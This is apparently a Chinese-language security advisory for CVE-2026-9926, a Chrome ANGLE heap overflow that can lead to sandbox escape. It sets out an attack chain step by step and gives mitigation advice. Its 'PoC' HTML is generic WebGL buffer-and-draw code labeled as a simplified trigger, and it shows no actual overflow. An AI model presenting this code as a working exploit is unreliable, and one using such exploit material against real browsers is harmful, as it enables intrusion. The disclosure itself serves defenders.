IPBUF安全漏洞报告
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CVE-2026-9926 CVSS 8.3 高危

CVE-2026-9926 Google Chrome ANGLE堆缓冲区溢出漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9926
漏洞类型
堆缓冲区溢出
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

Buffer OverflowSandbox EscapeGoogle ChromeANGLERCECVE-2026-9926

漏洞概述

该漏洞存在于Google Chrome浏览器的ANGLE组件中,具体表现为堆缓冲区溢出。攻击者可以利用精心构造的HTML页面,在已经攻陷渲染器进程的前提下,进一步利用此漏洞突破浏览器的沙箱保护机制。由于该漏洞可能导致沙箱逃逸,攻击者可能借此获得更高的系统权限,从而对系统的机密性、完整性和可用性造成严重影响。

技术细节

漏洞位于Google Chrome的ANGLE(Almost Native Graphics Layer Engine)组件中,该组件作为抽象层将OpenGL ES指令转换为DirectX、OpenGL等底层图形API。由于代码在处理特定图形渲染指令时未对缓冲区边界进行严格校验,导致堆缓冲区溢出。利用该漏洞通常需要攻击者具备一定的前提条件,即已通过其他手段攻陷了渲染器进程。随后,攻击者通过精心制作的HTML页面,利用WebGL等图形接口触发ANGLE组件的内存越界写入。通过精心构造的内存布局,攻击者可以覆盖关键内存对象或函数指针,从而破坏浏览器的沙箱隔离机制。成功利用后,攻击者可实现沙箱逃逸,从受限的渲染器进程提升至浏览器主进程或操作系统层面,执行任意代码。

攻击链分析

STEP 1
1. 初始入侵
攻击者首先利用渲染器进程中的其他漏洞获取在Chrome渲染器进程内的代码执行权限。
STEP 2
2. 诱骗访问
攻击者诱导受害者访问包含恶意HTML代码的网页,该页面包含针对ANGLE组件的攻击载荷。
STEP 3
3. 触发漏洞
恶意网页中的WebGL指令触发ANGLE组件中的堆缓冲区溢出,导致内存越界写入。
STEP 4
4. 沙箱逃逸
利用溢出覆盖关键内存结构(如返回地址或函数指针),破坏沙箱隔离,从渲染器进程逃逸。
STEP 5
5. 执行代码
在浏览器主进程或系统层面执行任意代码,获取受害者系统的控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-9926 Description: This HTML page attempts to trigger the ANGLE heap buffer overflow via WebGL operations. It requires a vulnerable version of Chrome. Usage: Open in a vulnerable browser. Note that exploitation requires prior renderer compromise to achieve sandbox escape. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9926 PoC</title> </head> <body> <script> // Create a canvas element to get WebGL context const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (!gl) { alert('WebGL not supported'); } else { console.log('Attempting to trigger ANGLE vulnerability...'); // Generate a large amount of draw calls or specific shader operations // that might stress the buffer handling in the vulnerable ANGLE version. // This is a simplified representation of the trigger logic. const vertexShaderSource = ` attribute vec4 position; void main() { gl_Position = position; } `; const fragmentShaderSource = ` precision mediump float; void main() { gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; function createShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error('Shader compile error:', gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource); const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource); if (vertexShader && fragmentShader) { const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if (gl.getProgramParameter(program, gl.LINK_STATUS)) { gl.useProgram(program); // Trigger the draw call loop to attempt to hit the overflow condition for (let i = 0; i < 10000; i++) { // Manipulate buffer data potentially causing overflow in specific versions const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Passing specific data that might trigger the bug gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1000000), gl.STATIC_DRAW); gl.drawArrays(gl.TRIANGLES, 0, 3); } console.log('PoC execution finished.'); } } } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查并更新Google Chrome浏览器到最新版本。在未完成更新前,应避免点击来源不明的链接或访问可疑网站,并确保系统其他安全软件处于开启状态,以降低被利用的风险。

参考链接

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